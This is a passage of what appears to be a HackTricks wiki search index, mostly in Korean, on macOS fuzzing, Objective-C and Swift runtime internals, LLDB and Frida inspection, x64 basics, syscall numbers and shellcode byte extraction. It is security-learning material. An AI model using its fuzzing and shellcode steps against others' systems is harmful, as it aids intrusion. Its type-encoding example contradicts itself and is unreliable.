cmdline with FUZZ word (if not stdin is used)\\n# -i : input directory or file\\n# -o : Dir to output crashes\\n# -t : Dir to output runtime fuzzing artifacts\\n# -x : Tmeout for the run (default is 1)\\n# -n : Num of fuzzing iterations (default is 1)\\n# -e : enable second round fuzzing where any crashes found are reused as inputs\\n# -z : enable malloc debug helpers # Font Book\\nlitefuzz -l -c \\"/System/Applications/Font Book.app/Contents/MacOS/Font Book FUZZ\\" -i input/fonts -o crashes/font-book -x 2 -n 500000 -ez # smbutil (using pcap capture)\\nlitefuzz -lk -c \\"smbutil view smb://localhost:4455\\" -a tcp://localhost:4455 -i input/mac-smb-resp -p -n 100000 -z # screensharingd (using pcap capture)\\nlitefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash screensharingd -p -n 100000","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Fuzzers","id":"2066","title":"Fuzzers"},"2067":{"body":"https://www.youtube.com/watch?v=T5xfL9tEg44 https://github.com/bnagy/slides/blob/master/OSXScale.pdf https://github.com/bnagy/francis/tree/master/exploitaben https://github.com/ant4g0nist/crashwrangler","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » More Fuzzing MacOS Info","id":"2067","title":"More Fuzzing MacOS Info"},"2068":{"body":"OS X Incident Response: Scripting and Analysis https://www.youtube.com/watch?v=T5xfL9tEg44 https://taomm.org/vol1/analysis.html The Art of Mac Malware: The Guide to Analyzing Malicious Software tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » References","id":"2068","title":"References"},"2069":{"body":"Reading time: 11 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Objects in memory » 메모리의 객체","id":"2069","title":"메모리의 객체"},"207":{"body":"이 게시물에 따르면 모든 totalwaitms 값을 **/usr/share/nmap/nmap-service-probes**에서 300 으로, **tcpwrappedms**를 200 으로 수정하여 nmap 서비스 분석 속도를 높일 수 있습니다. 또한, 특정하게 정의된 **servicewaitms**가 없는 프로브는 기본값으로 **5000**을 사용합니다. 따라서 각 프로브에 값을 추가하거나, service_scan.h 에서 기본값을 변경하여 nmap 을 직접 컴파일할 수 있습니다. /usr/share/nmap/nmap-service-probes 파일에서 totalwaitms 및 tcpwrappedms 값을 전혀 변경하고 싶지 않다면, 이러한 값이 nmap-service-probes 파일에서 완전히 무시되도록 파싱 코드 를 수정할 수 있습니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Pentesting Network » Nmap Summary (ESP) » Nmap 서비스 스캔 x16 속도 향상","id":"207","title":"Nmap 서비스 스캔 x16 속도 향상"},"2070":{"body":"CF* 객체는 CoreFoundation에서 유래하며, CFString, CFNumber 또는 CFAllocator와 같은 50개 이상의 클래스 객체를 제공합니다. 이 모든 클래스는 CFRuntimeClass 클래스의 인스턴스이며, 호출될 때 __CFRuntimeClassTable에 대한 인덱스를 반환합니다. CFRuntimeClass는 CFRuntime.h 에서 정의되어 있습니다: objectivec // Some comments were added to the original code enum { // Version field constants\\n_kCFRuntimeScannedObject = (1UL << 0),\\n_kCFRuntimeResourcefulObject = (1UL << 2), // tells CFRuntime to make use of the reclaim field\\n_kCFRuntimeCustomRefCount = (1UL << 3), // tells CFRuntime to make use of the refcount field\\n_kCFRuntimeRequiresAlignment = (1UL << 4), // tells CFRuntime to make use of the requiredAlignment field\\n}; typedef struct __CFRuntimeClass {\\nCFIndex version; // This is made a bitwise OR with the relevant previous flags const char *className; // must be a pure ASCII string, nul-terminated\\nvoid (*init)(CFTypeRef cf); // Initializer function\\nCFTypeRef (*copy)(CFAllocatorRef allocator, CFTypeRef cf); // Copy function, taking CFAllocatorRef and CFTypeRef to copy\\nvoid (*finalize)(CFTypeRef cf); // Finalizer function\\nBoolean (*equal)(CFTypeRef cf1, CFTypeRef cf2); // Function to be called by CFEqual()\\nCFHashCode (*hash)(CFTypeRef cf); // Function to be called by CFHash()\\nCFStringRef (*copyFormattingDesc)(CFTypeRef cf, CFDictionaryRef formatOptions); // Provides a CFStringRef with a textual description of the object// return str with retain\\nCFStringRef (*copyDebugDesc)(CFTypeRef cf);\\t// CFStringRed with textual description of the object for CFCopyDescription #define CF_RECLAIM_AVAILABLE 1\\nvoid (*reclaim)(CFTypeRef cf); // Or in _kCFRuntimeResourcefulObject in the .version to indicate this field should be used\\n// It not null, it\'s called when the last reference to the object is released #define CF_REFCOUNT_AVAILABLE 1\\n// If not null, the following is called when incrementing or decrementing reference count\\nuint32_t (*refcount)(intptr_t op, CFTypeRef cf); // Or in _kCFRuntimeCustomRefCount in the .version to indicate this field should be used\\n// this field must be non-NULL when _kCFRuntimeCustomRefCount is in the .version field\\n// - if the callback is passed 1 in \'op\' it should increment the \'cf\'s reference count and return 0\\n// - if the callback is passed 0 in \'op\' it should return the \'cf\'s reference count, up to 32 bits\\n// - if the callback is passed -1 in \'op\' it should decrement the \'cf\'s reference count; if it is now zero, \'cf\' should be cleaned up and deallocated (the finalize callback above will NOT be called unless the process is running under GC, and CF does not deallocate the memory for you; if running under GC, finalize should do the object tear-down and free the object memory); then return 0\\n// remember to use saturation arithmetic logic and stop incrementing and decrementing when the ref count hits UINT32_MAX, or you will have a security bug\\n// remember that reference count incrementing/decrementing must be done thread-safely/atomically\\n// objects should be created/initialized with a custom ref-count of 1 by the class creation functions\\n// do not attempt to use any bits within the CFRuntimeBase for your reference count; store that in some additional field in your CF object #pragma GCC diagnostic push\\n#pragma GCC diagnostic ignored \\"-Wmissing-field-initializers\\"\\n#define CF_REQUIRED_ALIGNMENT_AVAILABLE 1\\n// If not 0, allocation of object must be on this boundary\\nuintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .version field to indicate this field should be used; the allocator to _CFRuntimeCreateInstance() will be ignored in this case; if this is less than the minimum alignment the system supports, you\'ll get higher alignment; if this is not an alignment the system supports (e.g., most systems will only support powers of two, or if it is too high), the result (consequences) will be up to CF or the system to decide } CFRuntimeClass;","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Objects in memory » CFRuntimeClass","id":"2070","title":"CFRuntimeClass"},"2071":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Objects in memory » Objective-C","id":"2071","title":"Objective-C"},"2072":{"body":"Objective‑C 런타임에서 사용하는 대부분의 데이터는 실행 중에 변경되므로, 메모리의 Mach‑O __DATA 계열 세그먼트에 있는 여러 섹션을 사용합니다. 역사적으로 이들에는 다음이 포함되었습니다: __objc_msgrefs (message_ref_t): 메시지 참조 __objc_ivar (ivar): 인스턴스 변수 __objc_data (...): 가변 데이터 __objc_classrefs (Class): 클래스 참조 __objc_superrefs (Class): 슈퍼클래스 참조 __objc_protorefs (protocol_t *): 프로토콜 참조 __objc_selrefs (SEL): 셀렉터 참조 __objc_const (...): 클래스 읽기 전용 데이터 및 기타 (가능한) 상수 데이터 __objc_imageinfo (version, flags): 이미지 로드 중에 사용: 버전은 현재 0; 플래그는 사전 최적화된 GC 지원 등 지정 __objc_protolist (protocol_t *): 프로토콜 목록 __objc_nlcatlist (category_t): 이 바이너리에 정의된 Non-Lazy 카테고리에 대한 포인터 __objc_catlist (category_t): 이 바이너리에 정의된 카테고리에 대한 포인터 __objc_nlclslist (classref_t): 이 바이너리에 정의된 Non-Lazy Objective‑C 클래스에 대한 포인터 __objc_classlist (classref_t): 이 바이너리에 정의된 모든 Objective‑C 클래스에 대한 포인터들 상수를 저장하기 위해 __TEXT 세그먼트의 몇몇 섹션도 사용됩니다: __objc_methname (C‑String): 메서드 이름 __objc_classname (C‑String): 클래스 이름 __objc_methtype (C‑String): 메서드 타입 최신 macOS/iOS(특히 Apple Silicon)에서는 Objective‑C/Swift 메타데이터를 다음에 배치하기도 합니다: __DATA_CONST: 프로세스 간에 읽기 전용으로 공유할 수 있는 불변 Objective‑C 메타데이터(예: 많은 __objc_* 목록이 이제 여기에 존재) __AUTH / __AUTH_CONST: arm64e에서 로드 시 또는 사용 시 인증되어야 하는 포인터를 포함하는 세그먼트(포인터 인증). 또한 레거시 __la_symbol_ptr/__got 대신 __AUTH_CONST에 __auth_got을 보게 됩니다. 인스트루먼트나 후킹을 할 때는 최신 바이너리에서 __got과 __auth_got 엔트리 둘 다를 고려해야 합니다. dyld 사전 최적화(예: selector uniquing 및 class/protocol 사전 계산)에 대한 배경과 공유 캐시에서 로드될 때 왜 이들 섹션 중 많은 부분이 \\"이미 고정되어 있는지\\"에 대해서는 Apple objc-opt 소스와 dyld shared cache 노트를 참고하세요. 이는 런타임에 메타데이터를 패치할 수 있는 위치와 방법에 영향을 줍니다. macOS Universal binaries & Mach-O Format","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Objects in memory » Memory sections used","id":"2072","title":"Memory sections used"},"2073":{"body":"Objective‑C는 단순 및 복합 타입의 selector와 변수 타입을 인코딩하기 위해 mangling을 사용합니다: 프리미티브 타입은 타입의 첫 글자를 사용합니다 — int는 i, char는 c, long은 l 등... unsigned인 경우 대문자를 사용합니다(예: unsigned long은 L). 다른 데이터 타입은 long long은 q, 비트필드는 b, 불리언은 B, 클래스는 #, id는 @, char *는 *, 일반 포인터는 ^, 정의되지 않은 것은 ? 등 다른 문자나 기호를 사용합니다. 배열, 구조체, 유니온은 각각 [, {, (을 사용합니다. Example Method Declaration objectivec - (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error; 셀렉터는 processString:withOptions:andError: 입니다 타입 인코딩 id 는 @ 로 인코딩됩니다 char * 는 * 로 인코딩됩니다 메서드의 전체 타입 인코딩은 다음과 같습니다: less @24@0:8@16*20^@24 상세 분석 반환 타입 (NSString *): @로 인코딩, 길이 24 self (객체 인스턴스): @로 인코딩, 오프셋 0 _cmd (셀렉터): :로 인코딩, 오프셋 8 첫 번째 인수 (char * input): *로 인코딩, 오프셋 16 두 번째 인수 (NSDictionary * options): @로 인코딩, 오프셋 20 세 번째 인수 (NSError ** error): ^@로 인코딩, 오프셋 24 셀렉터 + 인코딩으로 메서드를 재구성할 수 있다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Objects in memory » Type Encoding","id":"2073","title":"Type Encoding"},"2074":{"body":"Objective‑C의 클래스는 속성, 메서드 포인터 등으로 구성된 C struct다. struct objc_class는 source code 에서 찾을 수 있다: objectivec struct objc_class : objc_object {\\n// Class ISA;\\nClass superclass;\\ncache_t cache; // formerly cache pointer and vtable\\nclass_data_bits_t bits; // class_rw_t * plus custom rr/alloc flags class_rw_t *data() {\\nreturn bits.data();\\n}\\nvoid setData(class_rw_t *newData) {\\nbits.setData(newData);\\n} void setInfo(uint32_t set) {\\nassert(isFuture() || isRealized());\\ndata()->setFlags(set);\\n}\\n[...] 이 클래스는 클래스에 대한 정보를 표시하기 위해 isa 필드의 일부 비트를 사용합니다. 그 다음, 해당 struct는 디스크에 저장된 class_ro_t struct를 가리키는 포인터를 가지며, 이 구조체에는 이름, 기본 메서드, 속성, 인스턴스 변수 같은 클래스 속성이 들어 있습니다. 런타임 동안에는 메서드, 프로토콜, 속성처럼 변경될 수 있는 포인터를 포함하는 추가 구조체인 class_rw_t가 사용됩니다. macOS Objective-C","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Objects in memory » 클래스","id":"2074","title":"클래스"},"2075":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Objects in memory » Modern object representations in memory (arm64e, tagged pointers, Swift)","id":"2075","title":"Modern object representations in memory (arm64e, tagged pointers, Swift)"},"2076":{"body":"Apple Silicon과 최신 런타임에서는 Objective‑C isa가 항상 원시 class 포인터가 아닙니다. arm64e에서는 PAC(Pointer Authentication Code)를 포함할 수도 있는 패킹된 구조체입니다. 플랫폼에 따라 nonpointer, has_assoc, weakly_referenced, extra_rc 등 필드와 (시프트되거나 서명된) 클래스 포인터 자체를 포함할 수 있습니다. 따라서 Objective‑C 객체의 처음 8바이트를 무작정 역참조하면 항상 유효한 Class 포인터가 나오지 않을 수 있습니다. arm64e 디버깅 실무 노트: LLDB는 보통 po로 Objective‑C 객체를 출력할 때 PAC 비트를 제거해 주지만, raw pointer로 작업할 때는 인증을 수동으로 제거해야 할 수 있습니다: lldb (lldb) expr -l objc++ -- #include \\n(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);\\n(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw) 많은 Mach‑O의 함수/데이터 포인터는 __AUTH/__AUTH_CONST에 위치하며 사용 전에 인증이 필요합니다. interposing 또는 재바인딩(예: fishhook‑style)을 할 경우, 레거시 __got뿐 아니라 __auth_got도 처리해야 합니다. 언어/ABI 보장과 Clang/LLVM에서 제공하는 인트린식에 대한 자세한 내용은 이 페이지 끝의 참조를 보세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Objects in memory » Non‑pointer isa and Pointer Authentication (arm64e)","id":"2076","title":"Non‑pointer isa and Pointer Authentication (arm64e)"},"2077":{"body":"일부 Foundation 클래스는 객체의 페이로드를 포인터 값에 직접 인코딩(태그된 포인터)하여 힙 할당을 피합니다. 감지는 플랫폼마다 다르며(예: arm64에서는 최상위 비트, x86_64 macOS에서는 최하위 비트) 태그된 객체는 메모리에 일반적인 isa를 저장하지 않으며 런타임이 태그 비트로부터 클래스를 결정합니다. 임의의 id 값을 검사할 때: isa 필드를 직접 건드리지 말고 런타임 API를 사용하세요: object_getClass(obj) / [obj class]. LLDB에서 po (id)0xADDR만으로도 런타임에서 클래스를 확인해 태그된 포인터 인스턴스를 올바르게 출력합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Objects in memory » Tagged pointer objects","id":"2077","title":"Tagged pointer objects"},"2078":{"body":"순수 Swift 클래스도 Objective‑C isa가 아닌 Swift 메타데이터를 가리키는 헤더를 가진 객체입니다. 수정 없이 실행 중인 Swift 프로세스를 조사하려면 Swift 툴체인의 swift-inspect를 사용할 수 있으며, 이는 Remote Mirror 라이브러리를 활용해 런타임 메타데이터를 읽습니다: bash # Xcode toolchain (or Swift.org toolchain) provides swift-inspect\\nswift-inspect dump-raw-metadata \\nswift-inspect dump-arrays \\n# On Darwin additionally:\\nswift-inspect dump-concurrency 이것은 혼합 Swift/ObjC 앱을 리버스 엔지니어링할 때 Swift 힙 객체와 프로토콜 준수를 매핑하는 데 매우 유용합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Objects in memory » Swift heap objects and metadata","id":"2078","title":"Swift heap objects and metadata"},"2079":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Objects in memory » Runtime inspection cheatsheet (LLDB / Frida)","id":"2079","title":"Runtime inspection cheatsheet (LLDB / Frida)"},"208":{"body":"Reading time: 13 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Pentesting Network » Pentesting IPv6 » Pentesting IPv6","id":"208","title":"Pentesting IPv6"},"2080":{"body":"원시 포인터에서 객체 또는 클래스 출력: lldb (lldb) expr -l objc++ -O -- (id)0x0000000101234560\\n(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560) 브레이크포인트에서 객체 메서드의 self 포인터로부터 Objective‑C 클래스를 검사하기: lldb (lldb) br se -n \'-[NSFileManager fileExistsAtPath:]\'\\n(lldb) r\\n... breakpoint hit ...\\n(lldb) po (id)$x0 # self\\n(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0) Objective‑C 메타데이터를 포함하는 섹션을 덤프합니다 (참고: 많은 섹션이 이제 __DATA_CONST / __AUTH_CONST에 있습니다): lldb (lldb) image dump section --section __DATA_CONST.__objc_classlist\\n(lldb) image dump section --section __DATA_CONST.__objc_selrefs\\n(lldb) image dump section --section __AUTH_CONST.__auth_got 알려진 클래스 객체의 메모리를 읽어 class_ro_t / class_rw_t 로 pivot하여 메서드 목록을 역분석할 때: lldb (lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager\\n(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Objects in memory » LLDB","id":"2080","title":"LLDB"},"2081":{"body":"Frida는 심볼 없이도 라이브 객체를 탐색하고 계측할 수 있게 해주는 고수준 런타임 브리지를 제공합니다: 클래스와 메서드를 열거하고, 런타임에 실제 클래스 이름을 확인하며, Objective‑C selectors를 가로챌 수 있습니다: js if (ObjC.available) {\\n// List a class\' methods\\nconsole.log(ObjC.classes.NSFileManager.$ownMethods); // Intercept and inspect arguments/return values\\nconst impl = ObjC.classes.NSFileManager[\'- fileExistsAtPath:isDirectory:\'].implementation;\\nInterceptor.attach(impl, {\\nonEnter(args) {\\nthis.path = new ObjC.Object(args[2]).toString();\\n},\\nonLeave(retval) {\\nconsole.log(\'fileExistsAtPath:\', this.path, \'=>\', retval);\\n}\\n});\\n} Swift bridge: Swift 타입을 열거하고 Swift 인스턴스와 상호작용합니다 (최신 Frida 필요; Apple Silicon 타깃에서 매우 유용).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Objects in memory » Frida (Objective‑C and Swift)","id":"2081","title":"Frida (Objective‑C and Swift)"},"2082":{"body":"Clang/LLVM: Pointer Authentication 및 intrinsics (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html Apple objc runtime headers (tagged pointers, non‑pointer isa, etc.) 예: objc-object.h. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Objects in memory » 참고 자료","id":"2082","title":"참고 자료"},"2083":{"body":"Reading time: 11 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to x64 » Introduction to x64","id":"2083","title":"Introduction to x64"},"2084":{"body":"x64, 또는 x86-64로도 알려진, 데스크탑 및 서버 컴퓨팅에서 주로 사용되는 64비트 프로세서 아키텍처입니다. Intel에서 제작한 x86 아키텍처에서 유래되었으며, 이후 AMD가 AMD64라는 이름으로 채택하였습니다. 현재 개인용 컴퓨터와 서버에서 널리 사용되는 아키텍처입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to x64 » Introduction to x64","id":"2084","title":"Introduction to x64"},"2085":{"body":"x64는 x86 아키텍처를 확장하여 16개의 범용 레지스터 를 특징으로 하며, 이들은 rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, 그리고 r8부터 r15까지 레이블이 붙어 있습니다. 이들 각각은 64비트 (8바이트) 값을 저장할 수 있습니다. 이 레지스터들은 호환성과 특정 작업을 위해 32비트, 16비트, 8비트 서브 레지스터도 가지고 있습니다. rax - 전통적으로 함수의 반환 값 에 사용됩니다. rbx - 메모리 작업을 위한 기본 레지스터 로 자주 사용됩니다. rcx - 루프 카운터 로 일반적으로 사용됩니다. rdx - 확장된 산술 연산을 포함한 다양한 역할에 사용됩니다. rbp - 스택 프레임의 기본 포인터 입니다. rsp - 스택 포인터 , 스택의 최상단을 추적합니다. rsi 및 rdi - 문자열/메모리 작업에서 소스 및 대상 인덱스에 사용됩니다. **r8**부터 r15 - x64에서 도입된 추가 범용 레지스터입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to x64 » Registers","id":"2085","title":"Registers"},"2086":{"body":"x64 호출 규약은 운영 체제에 따라 다릅니다. 예를 들어: Windows : 첫 번째 네 개의 매개변수 는 레지스터 rcx , rdx , r8 , **r9**에 전달됩니다. 추가 매개변수는 스택에 푸시됩니다. 반환 값은 **rax**에 있습니다. System V (UNIX 유사 시스템에서 일반적으로 사용됨) : 첫 번째 여섯 개의 정수 또는 포인터 매개변수 는 레지스터 rdi , rsi , rdx , rcx , r8 , **r9**에 전달됩니다. 반환 값도 **rax**에 있습니다. 함수가 여섯 개 이상의 입력을 가지면, 나머지는 스택에 전달됩니다 . RSP , 스택 포인터는 16바이트 정렬 되어야 하며, 이는 호출이 발생하기 전에 가리키는 주소가 16으로 나누어 떨어져야 함을 의미합니다. 이는 일반적으로 함수 호출 전에 RSP가 적절히 정렬되어야 함을 의미합니다. 그러나 실제로는 이 요구 사항이 충족되지 않더라도 시스템 호출이 여러 번 작동합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to x64 » Calling Convention","id":"2086","title":"Calling Convention"},"2087":{"body":"Swift는 https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64 에서 찾을 수 있는 자체 호출 규약 을 가지고 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to x64 » Calling Convention in Swift","id":"2087","title":"Calling Convention in Swift"},"2088":{"body":"x64 명령어는 풍부한 세트를 가지고 있으며, 이전 x86 명령어와의 호환성을 유지하고 새로운 명령어를 도입합니다. mov : 한 레지스터 또는 메모리 위치 에서 다른 위치로 값을 이동 합니다. 예: mov rax, rbx — rbx의 값을 rax로 이동합니다. push 및 pop : 스택 에 값을 푸시하거나 팝합니다. 예: push rax — rax의 값을 스택에 푸시합니다. 예: pop rax — 스택의 최상단 값을 rax로 팝합니다. add 및 sub : 덧셈 및 뺄셈 연산입니다. 예: add rax, rcx — rax와 rcx의 값을 더하여 결과를 rax에 저장합니다. mul 및 div : 곱셈 및 나눗셈 연산입니다. 주의: 이들은 피연산자 사용에 대한 특정 동작을 가지고 있습니다. call 및 ret : 함수를 호출 하고 반환 하는 데 사용됩니다. int : 소프트웨어 인터럽트 를 트리거하는 데 사용됩니다. 예: int 0x80는 32비트 x86 Linux에서 시스템 호출에 사용되었습니다. cmp : 두 값을 비교 하고 결과에 따라 CPU의 플래그를 설정합니다. 예: cmp rax, rdx — rax를 rdx와 비교합니다. je, jne, jl, jge, ... : 이전 cmp 또는 테스트의 결과에 따라 제어 흐름을 변경하는 조건부 점프 명령어입니다. 예: cmp rax, rdx 명령어 후, je label — rax가 rdx와 같으면 label로 점프합니다. syscall : 일부 x64 시스템(예: 현대 Unix)에서 시스템 호출 에 사용됩니다. sysenter : 일부 플랫폼에서 최적화된 시스템 호출 명령어입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to x64 » Common Instructions","id":"2088","title":"Common Instructions"},"2089":{"body":"이전 기본 포인터 푸시 : push rbp (호출자의 기본 포인터를 저장) 현재 스택 포인터를 기본 포인터로 이동 : mov rbp, rsp (현재 함수에 대한 새로운 기본 포인터 설정) 로컬 변수를 위한 스택 공간 할당 : sub rsp, (여기서 는 필요한 바이트 수)","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to x64 » Function Prologue","id":"2089","title":"Function Prologue"},"209":{"body":"","breadcrumbs":"Pentesting Network » Pentesting IPv6 » IPv6 기본 이론","id":"209","title":"IPv6 기본 이론"},"2090":{"body":"현재 기본 포인터를 스택 포인터로 이동 : mov rsp, rbp (로컬 변수 해제) 이전 기본 포인터를 스택에서 팝 : pop rbp (호출자의 기본 포인터 복원) 반환 : ret (호출자에게 제어 반환)","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to x64 » Function Epilogue","id":"2090","title":"Function Epilogue"},"2091":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to x64 » macOS","id":"2091","title":"macOS"},"2092":{"body":"다양한 클래스의 시스템 호출이 있으며, 여기에서 찾을 수 있습니다 : c #define SYSCALL_CLASS_NONE\\t0\\t/* Invalid */\\n#define SYSCALL_CLASS_MACH\\t1\\t/* Mach */\\n#define SYSCALL_CLASS_UNIX\\t2\\t/* Unix/BSD */\\n#define SYSCALL_CLASS_MDEP\\t3\\t/* Machine-dependent */\\n#define SYSCALL_CLASS_DIAG\\t4\\t/* Diagnostics */\\n#define SYSCALL_CLASS_IPC\\t5\\t/* Mach IPC */ 그런 다음 각 syscall 번호를 이 URL에서 : 찾을 수 있습니다. c 0\\tAUE_NULL\\tALL\\t{ int nosys(void); } { indirect syscall }\\n1\\tAUE_EXIT\\tALL\\t{ void exit(int rval); }\\n2\\tAUE_FORK\\tALL\\t{ int fork(void); }\\n3\\tAUE_NULL\\tALL\\t{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }\\n4\\tAUE_NULL\\tALL\\t{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }\\n5\\tAUE_OPEN_RWTC\\tALL\\t{ int open(user_addr_t path, int flags, int mode); }\\n6\\tAUE_CLOSE\\tALL\\t{ int close(int fd); }\\n7\\tAUE_WAIT4\\tALL\\t{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }\\n8\\tAUE_NULL\\tALL\\t{ int nosys(void); } { old creat }\\n9\\tAUE_LINK\\tALL\\t{ int link(user_addr_t path, user_addr_t link); }\\n10\\tAUE_UNLINK\\tALL\\t{ int unlink(user_addr_t path); }\\n11\\tAUE_NULL\\tALL\\t{ int nosys(void); } { old execv }\\n12\\tAUE_CHDIR\\tALL\\t{ int chdir(user_addr_t path); }\\n[...] open 시스템 호출 ( 5 )을 Unix/BSD 클래스 에서 호출하기 위해서는 다음을 추가해야 합니다: 0x2000000 따라서 open을 호출하는 시스템 호출 번호는 0x2000005입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Apps - Inspecting, debugging and Fuzzing » Introduction to x64 » syscalls","id":"2092","title":"syscalls"},"2093":{"body":"컴파일하려면: bash nasm -f macho64 shell.asm -o shell.o\\nld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib 바이트를 추출하려면: bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh\\nfor c in $(objdump -d \\"shell.o\\" | grep -E \'[0-9a-f]+:\' | cut -f 1 | cut -d : -f 2) ; do\\necho -n \'\\\\\\\\x\'$c\\ndone # Another option\\notool -t 